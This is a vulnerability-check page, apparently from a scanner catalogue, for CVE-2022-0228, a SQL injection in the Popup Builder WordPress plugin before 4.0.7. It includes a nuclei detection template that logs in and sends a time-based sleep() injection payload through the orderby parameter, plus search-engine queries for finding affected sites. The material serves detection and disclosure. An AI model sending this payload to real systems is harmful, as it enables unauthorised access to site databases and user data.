Popup Builder < 4.0.7 - SQL Injection

highseverity

7.2CVSS score

5.3%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.

Impact

Authenticated administrators with high privileges can exploit SQL injection to extract database contents, potentially exposing sensitive WordPress data and user credentials.

Fix

update to v.4.0.7

How to confirm it

Send: POST /wp-login.php ; @timeout: 15s
Positive when: duration_2>=7 and status_code_2 == 200 and contains_all(body_2, "first name", "last name", "email") and contains(content_type_2, "application/octet-stream")

Run it with nuclei: nuclei -id CVE-2022-0228 -u <target>

The full check

id: CVE-2022-0228

info:
  name: Popup Builder < 4.0.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.
  impact: |
    Authenticated administrators with high privileges can exploit SQL injection to extract database contents, potentially exposing sensitive WordPress data and user credentials.
  remediation: update to v.4.0.7
  reference:
    - https://wpscan.com/vulnerability/22facac2-52f4-4e5f-be59-1d2934b260d9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0228
    - https://plugins.trac.wordpress.org/changeset/2659117
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-0228
    cwe-id: CWE-89
    epss-score: 0.05263
    epss-percentile: 0.92619
    cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sygnoos
    product: popup_builder
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-builder/
    fofa-query: body=/wp-content/plugins/popup-builder/
    publicwww-query: /wp-content/plugins/popup-builder/
  tags: time-based-sqli,cve2022,cve,wordpress,wp-plugin,wp,wpscan,popup-builder,sygnoos,sqli,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "first name", "last name", "email")'
          - 'contains(content_type_2, "application/octet-stream")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from